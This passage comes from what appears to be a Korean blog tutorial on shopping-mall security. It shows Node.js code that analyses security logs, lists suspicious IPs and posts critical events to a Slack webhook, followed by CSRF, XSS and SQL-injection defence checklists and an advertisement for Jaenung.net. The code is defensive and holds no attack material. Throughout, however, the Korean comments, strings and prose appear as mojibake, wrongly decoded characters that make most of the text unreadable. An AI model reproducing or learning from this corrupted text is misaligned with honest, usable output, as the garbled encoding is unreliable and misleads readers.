    .filter(([ip, count]) => count > 10)
    .map(([ip]) => ip);
  
  if (ipsToBlock.length > 0) {
    console.log('\nโš ๏ธ ์ฐจ๋‹จ ๊ถŒ์žฅ IP:');
    ipsToBlock.forEach(ip => console.log(`  - ${ip}`));
  }
}

// ์‹ค์‹œ๊ฐ„ ๋ชจ๋‹ˆํ„ฐ๋ง
function monitorSecurityLogs(logFile) {
  const tail = require('tail').Tail;
  const logTail = new tail(logFile);
  
  logTail.on('line', (line) => {
    try {
      const log = JSON.parse(line);
      
      // ์ค‘์š” ์ด๋ฒคํŠธ ์•Œ๋ฆผ
      if (log.severity === 'critical') {
        console.log('๐Ÿšจ ์ค‘์š” ๋ณด์•ˆ ์ด๋ฒคํŠธ ๋ฐœ์ƒ!');
        console.log(JSON.stringify(log, null, 2));
        
        // ์—ฌ๊ธฐ์„œ Slack, Email ๋“ฑ์œผ๋กœ ์•Œ๋ฆผ ์ „์†ก
        sendAlert(log);
      }
    } catch (error) {
      // ํŒŒ์‹ฑ ์—๋Ÿฌ ๋ฌด์‹œ
    }
  });
  
  console.log(`์‹ค์‹œ๊ฐ„ ๋ชจ๋‹ˆํ„ฐ๋ง ์‹œ์ž‘: ${logFile}`);
}

// ์•Œ๋ฆผ ์ „์†ก (์˜ˆ์‹œ)
async function sendAlert(log) {
  // Slack Webhook ์˜ˆ์‹œ
  const webhookUrl = process.env.SLACK_WEBHOOK_URL;
  
  if (webhookUrl) {
    await fetch(webhookUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        text: `๐Ÿšจ ๋ณด์•ˆ ๊ฒฝ๊ณ : ${log.eventType}`,
        attachments: [{
          color: 'danger',
          fields: [
            { title: 'IP', value: log.ip, short: true },
            { title: 'URL', value: log.url, short: true },
            { title: '์‹œ๊ฐ„', value: log.timestamp, short: false }
          ]
        }]
      })
    });
  }
}

module.exports = {
  analyzeSecurityLogs,
  monitorSecurityLogs
};

๐ŸŽ“ ๋ณด์•ˆ ๋ฒ ์ŠคํŠธ ํ”„๋ž™ํ‹ฐ์Šค ๋ฐ ์ฒดํฌ๋ฆฌ์ŠคํŠธ

๐Ÿ“Œ ๊ฐœ๋ฐœ ๋‹จ๊ณ„๋ณ„ ๋ณด์•ˆ ์ฒดํฌ๋ฆฌ์ŠคํŠธ
๋‹จ๊ณ„ ์ฒดํฌ ํ•ญ๋ชฉ ์šฐ์„ ์ˆœ์œ„
์„ค๊ณ„ ๋ณด์•ˆ ์š”๊ตฌ์‚ฌํ•ญ ์ •์˜, ์œ„ํ˜‘ ๋ชจ๋ธ๋ง ๐Ÿ”ด ๋†’์Œ
๊ฐœ๋ฐœ Prepared Statement ์‚ฌ์šฉ, ์ž…๋ ฅ ๊ฒ€์ฆ, ์ถœ๋ ฅ ์ธ์ฝ”๋”ฉ ๐Ÿ”ด ๋†’์Œ
ํ…Œ์ŠคํŠธ ๋ณด์•ˆ ์Šค์บ”, ์นจํˆฌ ํ…Œ์ŠคํŠธ, ์ฝ”๋“œ ๋ฆฌ๋ทฐ ๐ŸŸก ์ค‘๊ฐ„
๋ฐฐํฌ HTTPS ์„ค์ •, ๋ณด์•ˆ ํ—ค๋”, ๋ฐฉํ™”๋ฒฝ ์„ค์ • ๐Ÿ”ด ๋†’์Œ
์šด์˜ ๋กœ๊ทธ ๋ชจ๋‹ˆํ„ฐ๋ง, ์ •๊ธฐ ์—…๋ฐ์ดํŠธ, ๋ฐฑ์—… ๐ŸŸก ์ค‘๊ฐ„
โœ… CSRF ๋ฐฉ์–ด ์ฒดํฌ๋ฆฌ์ŠคํŠธ
  • โ˜‘๏ธ ๋ชจ๋“  ์ƒํƒœ ๋ณ€๊ฒฝ ์š”์ฒญ์— CSRF ํ† ํฐ ์ ์šฉ
  • โ˜‘๏ธ GET ์š”์ฒญ์œผ๋กœ๋Š” ๋ฐ์ดํ„ฐ ๋ณ€๊ฒฝ ๊ธˆ์ง€
  • โ˜‘๏ธ SameSite ์ฟ ํ‚ค ์†์„ฑ 'Lax' ์ด์ƒ ์„ค์ •
  • โ˜‘๏ธ ์ค‘์š” ์ž‘์—…์€ ์žฌ์ธ์ฆ ์š”๊ตฌ
  • โ˜‘๏ธ Referer ํ—ค๋” ๊ฒ€์ฆ (๋ณด์กฐ ์ˆ˜๋‹จ)
  • โ˜‘๏ธ CORS ์ •์ฑ… ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ์„ค์ •
  • โ˜‘๏ธ ํ† ํฐ ๋งŒ๋ฃŒ ์‹œ๊ฐ„ ์„ค์ •
  • โ˜‘๏ธ ํ”„๋ ˆ์ž„์›Œํฌ ๋‚ด์žฅ CSRF ๋ณดํ˜ธ ๊ธฐ๋Šฅ ํ™œ์šฉ
โœ… XSS ๋ฐฉ์–ด ์ฒดํฌ๋ฆฌ์ŠคํŠธ
  • โ˜‘๏ธ ๋ชจ๋“  ์‚ฌ์šฉ์ž ์ž…๋ ฅ ๊ฒ€์ฆ ๋ฐ ์ƒˆ๋‹ˆํƒ€์ด์ œ์ด์…˜
  • โ˜‘๏ธ ์ถœ๋ ฅ ์‹œ ํ•ญ์ƒ ์ด์Šค์ผ€์ดํ”„ ์ฒ˜๋ฆฌ
  • โ˜‘๏ธ innerHTML ๋Œ€์‹  textContent ์‚ฌ์šฉ
  • โ˜‘๏ธ CSP ํ—ค๋” ์„ค์ •
  • โ˜‘๏ธ HttpOnly ์ฟ ํ‚ค ํ”Œ๋ž˜๊ทธ ์‚ฌ์šฉ
  • โ˜‘๏ธ ํ…œํ”Œ๋ฆฟ ์—”์ง„์˜ ์ž๋™ ์ด์Šค์ผ€์ดํ”„ ๊ธฐ๋Šฅ ํ™œ์šฉ
  • โ˜‘๏ธ DOMPurify ๊ฐ™์€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์‚ฌ์šฉ
  • โ˜‘๏ธ ์ •๊ธฐ์ ์ธ XSS ์Šค์บ” ์‹ค์‹œ
โœ… SQL Injection ๋ฐฉ์–ด ์ฒดํฌ๋ฆฌ์ŠคํŠธ
  • โ˜‘๏ธ ๋ชจ๋“  ์ฟผ๋ฆฌ์— Prepared Statement ์‚ฌ์šฉ
  • โ˜‘๏ธ ORM ํ”„๋ ˆ์ž„์›Œํฌ ํ™œ์šฉ
  • โ˜‘๏ธ ์‚ฌ์šฉ์ž ์ž…๋ ฅ ํƒ€์ž… ๊ฒ€์ฆ
  • โ˜‘๏ธ ๋™์  ์ฟผ๋ฆฌ๋Š” ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ๋ฐฉ์‹
  • โ˜‘๏ธ ๋ฐ์ดํ„ฐ๋ฒ ์ด์Šค ๊ณ„์ • ์ตœ์†Œ ๊ถŒํ•œ ๋ถ€์—ฌ
  • โ˜‘๏ธ ์—๋Ÿฌ ๋ฉ”์‹œ์ง€ ์ผ๋ฐ˜ํ™”
  • โ˜‘๏ธ ์ €์žฅ ํ”„๋กœ์‹œ์ € ์‚ฌ์šฉ ๊ณ ๋ ค
  • โ˜‘๏ธ WAF ์‚ฌ์šฉ ๊ณ ๋ ค
  • โ˜‘๏ธ ์ •๊ธฐ์ ์ธ SQL Injection ์Šค์บ”
โš ๏ธ ํ”ํžˆ ํ•˜๋Š” ์‹ค์ˆ˜๋“ค 1. "์šฐ๋ฆฌ ์‚ฌ์ดํŠธ๋Š” ์ž‘์•„์„œ ๊ดœ์ฐฎ์„ ๊ฑฐ์•ผ"
โ†’ ์ž๋™ํ™”๋œ ๋ด‡๋“ค์€ ํฌ๊ธฐ ์ƒ๊ด€์—†์ด ๋ชจ๋“  ์‚ฌ์ดํŠธ๋ฅผ ๊ณต๊ฒฉํ•ด! ๐Ÿ˜ฑ

2. "ํ”„๋ ˆ์ž„์›Œํฌ๊ฐ€ ์•Œ์•„์„œ ํ•ด์ฃผ๊ฒ ์ง€"
โ†’ ํ”„๋ ˆ์ž„์›Œํฌ๋„ ์ž˜๋ชป ์‚ฌ์šฉํ•˜๋ฉด ์ทจ์•ฝํ•ด. ์ œ๋Œ€๋กœ ์ดํ•ดํ•˜๊ณ  ์‚ฌ์šฉํ•ด์•ผ ํ•ด!

3. "ํ•œ ๋ฒˆ ์„ค์ •ํ•˜๋ฉด ๋์ด์•ผ"
โ†’ ๋ณด์•ˆ์€ ์ง€์†์ ์ธ ๊ณผ์ •์ด์•ผ. ์ •๊ธฐ์ ์ธ ์—…๋ฐ์ดํŠธ์™€ ๋ชจ๋‹ˆํ„ฐ๋ง์ด ํ•„์ˆ˜!

4. "๊ฐœ๋ฐœ ํ™˜๊ฒฝ์—์„œ๋งŒ ํ…Œ์ŠคํŠธํ•˜๋ฉด ๋ผ"
โ†’ ํ”„๋กœ๋•์…˜ ํ™˜๊ฒฝ๊ณผ ์ตœ๋Œ€ํ•œ ๋น„์Šทํ•œ ํ™˜๊ฒฝ์—์„œ ํ…Œ์ŠคํŠธํ•ด์•ผ ํ•ด!

5. "๋ณด์•ˆ์€ ๋‚˜์ค‘์— ์ถ”๊ฐ€ํ•˜๋ฉด ๋ผ"
โ†’ ๋‚˜์ค‘์— ์ถ”๊ฐ€ํ•˜๋ฉด ๋น„์šฉ์ด 10๋ฐฐ ์ด์ƒ ๋“ค์–ด. ์ฒ˜์Œ๋ถ€ํ„ฐ ๊ณ ๋ คํ•ด์•ผ ํ•ด! ๐Ÿ’ธ
๐Ÿ’ก ์žฌ๋Šฅ๋„ท์—์„œ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€ ์ฐพ๊ธฐ ํ˜น์‹œ ๋ณด์•ˆ์ด ๋„ˆ๋ฌด ๋ณต์žกํ•˜๊ณ  ์–ด๋ ต๊ฒŒ ๋А๊ปด์ง„๋‹ค๋ฉด?
์žฌ๋Šฅ๋„ท(https://www.jaenung.net)์—์„œ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€์˜ ๋„์›€์„ ๋ฐ›์„ ์ˆ˜ ์žˆ์–ด!

โœจ ๋ณด์•ˆ ์ปจ์„คํŒ…
โœจ ์นจํˆฌ ํ…Œ์ŠคํŠธ
โœจ ๋ณด์•ˆ ์ฝ”๋“œ ๋ฆฌ๋ทฐ
โœจ ๋ณด์•ˆ ๊ต์œก ๋ฐ ๋ฉ˜ํ† ๋ง

์ „๋ฌธ๊ฐ€์˜ ๋„์›€์„ ๋ฐ›์œผ๋ฉด ํ›จ์”ฌ ์•ˆ์ „ํ•˜๊ณ  ํšจ์œจ์ ์œผ๋กœ ์‡ผํ•‘๋ชฐ์„ ๊ฐœ๋ฐœํ•  ์ˆ˜ ์žˆ์–ด!

๐Ÿš€ ๋งˆ๋ฌด๋ฆฌํ•˜๋ฉฐ

์™€! ์—ฌ๊ธฐ๊นŒ์ง€ ์ฝ๋А๋ผ ์ •๋ง ์ˆ˜๊ณ ํ–ˆ์–ด! ๐Ÿ‘

์˜ค๋Š˜ ์šฐ๋ฆฌ๋Š” ์‡ผํ•‘๋ชฐ ๋ณด์•ˆ์˜ 3๋Œ€ ์œ„ํ˜‘์ธ CSRF, XSS, SQL Injection์— ๋Œ€ํ•ด ๊นŠ์ด ์žˆ๊ฒŒ ์•Œ์•„๋ดค์–ด.
๊ฐ๊ฐ์˜ ๊ณต๊ฒฉ ์›๋ฆฌ๋ถ€ํ„ฐ ์‹ค์ „ ๋ฐฉ์–ด ๊ธฐ๋ฒ•, ๊ทธ๋ฆฌ๊ณ  ์‹ค์ œ ์ฝ”๋“œ ๊ตฌํ˜„๊นŒ์ง€ ๋ชจ๋‘ ๋‹ค๋ค˜์ง€.

๋ณด์•ˆ์€ ์„ ํƒ์ด ์•„๋‹ˆ๋ผ ํ•„์ˆ˜์•ผ. ํŠนํžˆ ๊ณ ๊ฐ์˜ ๊ฐœ์ธ์ •๋ณด์™€ ๊ฒฐ์ œ ์ •๋ณด๋ฅผ ๋‹ค๋ฃจ๋Š” ์‡ผํ•‘๋ชฐ์—์„œ๋Š” ๋”๋”์šฑ ๊ทธ๋ž˜.
ํ•œ ๋ฒˆ์˜ ๋ณด์•ˆ ์‚ฌ๊ณ ๋กœ ์Œ“์•„์˜จ ์‹ ๋ขฐ๊ฐ€ ๋ฌด๋„ˆ์งˆ ์ˆ˜ ์žˆ์œผ๋‹ˆ๊นŒ ๋ง์ด์•ผ. ๐Ÿ˜ข

ํ•˜์ง€๋งŒ ๋„ˆ๋ฌด ๊ฑฑ์ •ํ•˜์ง€ ๋งˆ! ์˜ค๋Š˜ ๋ฐฐ์šด ๋‚ด์šฉ๋“ค์„ ํ•˜๋‚˜์”ฉ ์ ์šฉํ•˜๋‹ค ๋ณด๋ฉด ์–ด๋А์ƒˆ ์•ˆ์ „ํ•œ ์‡ผํ•‘๋ชฐ์„ ๋งŒ๋“ค ์ˆ˜ ์žˆ์„ ๊ฑฐ์•ผ. ๐Ÿ’ช

๊ธฐ์–ตํ•ด์ค˜:
โœ… ์‚ฌ์šฉ์ž ์ž…๋ ฅ์€ ์ ˆ๋Œ€ ์‹ ๋ขฐํ•˜์ง€ ๋ง ๊ฒƒ
โœ… ๋‹ค์ธต ๋ฐฉ์–ด ์ „๋žต์„ ์‚ฌ์šฉํ•  ๊ฒƒ
โœ… ์ •๊ธฐ์ ์œผ๋กœ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ๋ฅผ ์‹ค์‹œํ•  ๊ฒƒ
โœ… ์ตœ์‹  ๋ณด์•ˆ ํŠธ๋ Œ๋“œ๋ฅผ ๊ณ„์† ํ•™์Šตํ•  ๊ฒƒ

๊ทธ๋ฆฌ๊ณ  ํ˜ผ์ž ํ•˜๊ธฐ ์–ด๋ ต๋‹ค๋ฉด ์žฌ๋Šฅ๋„ท์—์„œ ์ „๋ฌธ๊ฐ€์˜ ๋„์›€์„ ๋ฐ›๋Š” ๊ฒƒ๋„ ์ข‹์€ ๋ฐฉ๋ฒ•์ด์•ผ!

์ž, ์ด์ œ ์•ˆ์ „ํ•˜๊ณ  ๋ฉ‹์ง„ ์‡ผํ•‘๋ชฐ์„ ๋งŒ๋“ค๋Ÿฌ ๊ฐ€๋ณผ๊นŒ? ํ™”์ดํŒ…! ๐Ÿš€โœจ

๐ŸŽ‰ ์ถ•ํ•˜ํ•ฉ๋‹ˆ๋‹ค!

์‡ผํ•‘๋ชฐ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋กœ ํ•œ ๊ฑธ์Œ ๋” ๋‚˜์•„๊ฐ”์–ด์š”!
์ด์ œ CSRF, XSS, SQL Injection์„ ์ž์‹ ์žˆ๊ฒŒ ๋ฐฉ์–ดํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๐Ÿ’ช

๋Œ“๊ธ€ ์ž‘์„ฑ

์ด ๊ธ€์— ๋Œ€ํ•œ ์—ฌ๋Ÿฌ๋ถ„์˜ ์ƒ๊ฐ์„ ๋“ค๋ ค์ฃผ์„ธ์š”

๋Œ“๊ธ€ 0
๋Œ“๊ธ€์„ ๋ถˆ๋Ÿฌ์˜ค๋Š” ์ค‘์ž…๋‹ˆ๋‹ค.

์•„์ง ๋Œ“๊ธ€์ด ์—†์Šต๋‹ˆ๋‹ค.